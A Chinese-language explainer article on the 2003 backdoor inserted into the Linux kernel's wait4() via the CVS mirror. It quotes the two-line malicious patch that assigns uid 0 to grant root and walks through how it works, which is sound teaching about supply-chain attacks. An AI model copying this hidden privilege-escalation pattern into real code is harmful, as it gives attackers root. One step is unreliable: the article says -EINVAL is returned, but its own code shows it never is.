返回首页

wait4() 中的后门:Linux 内核漏洞

2003 年,在 CVS Linux 内核仓库的 wait4() 函数中发现后门:赋值代替比较赋予 root 权限。此事件揭示了遗留仓库的风险,并加速向 Git 过渡。代码分析和现代安全实践。

wait4() 中的后门如何差点黑掉 Linux 内核
Advertisement 728x90

## Linux 内核中的后门:wait4() 漏洞如何差点授予 root 权限

2003 年,Linux 开发者在 CVS 仓库中发现了一个未经授权的更改。一段可疑的代码片段被插入到 wait4() 函数中,可能授予任何用户 root 权限。此更改在主要的 BitKeeper 仓库中没有任何痕迹,直接指向 CVS 仓库遭到了入侵。

乍一看,这段代码似乎无害:

+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;

问题隐藏在 = 操作符中。它不是使用 == 进行比较,而是赋值操作,将 current->uid 设置为 0(root),适用于任何带有 __WCLONE__WALL 标志的 wait4() 调用。这开辟了一条无需额外检查的特权提升路径。

Google AdInline article slot

仓库历史与漏洞入口

在那段日子里,Linux 并行使用两个仓库:

  • BitKeeper —— 内核的主要现代版本控制系统。
  • CVS —— 用于旧工具和老派开发者的遗留仓库。

同步是手动进行的:BitKeeper 的更改连同标签一起复制到 CVS。攻击者专门针对 CVS,下手时悄无声息。由于缺少自动化检查以及两个仓库面向不同受众,此漏洞得以溜进来。

开发者在例行审查中发现了异常:CVS 中有一个提交,但 BitKeeper 中没有对应项。版本对比揭示了恶意代码。

Google AdInline article slot

漏洞的技术剖析

wait4() 函数用于等待子进程结束,并支持扩展选项。__WCLONE__WALL 标志用于跟踪克隆进程和所有进程。

攻击逻辑很简单:

  • 用户调用 wait4(options = __WCLONE | __WALL)
  • 条件 current->uid = 0 将 UID 赋值为 0(root)。
  • 返回 -EINVAL,掩盖了成功。
  • 后续系统调用以 root 身份运行。

这是一个零日后门:无需利用,即可通过标准调用激活。在 C 语言中,类似的失误(= 代替 ==)是漏洞的常见来源。

Google AdInline article slot

对现代开发的启示

此次事件凸显了遗留系统的风险。当今实践已将此类威胁降到最低:

  • 单一仓库:使用分支和拉取请求的 Git。
  • CI/CD 与检查:自动化差异对比、静态分析(Coverity、Clang)。
  • 提交签名:用于认证的 GPG/PGP。
  • 签名标签:发布保护。
  • 模糊测试与审计:对系统调用的持续测试。

Linux 内核如今强制要求代码审查和针对这些模式的自动化测试。

关键要点

  • wait4()= 代替 == 的错误为任何用户创建了 root 后门。
  • 黑客通过 CVS 得手,而 BitKeeper 保持干净。
  • 2003 年的手动仓库同步是薄弱环节。
  • 此事件加速了内核开发向 Git 的转变。
  • 双重检查 if 语句中的条件:编译器并不总是能捕获赋值操作。

— Editorial Team

Advertisement 728x90

继续阅读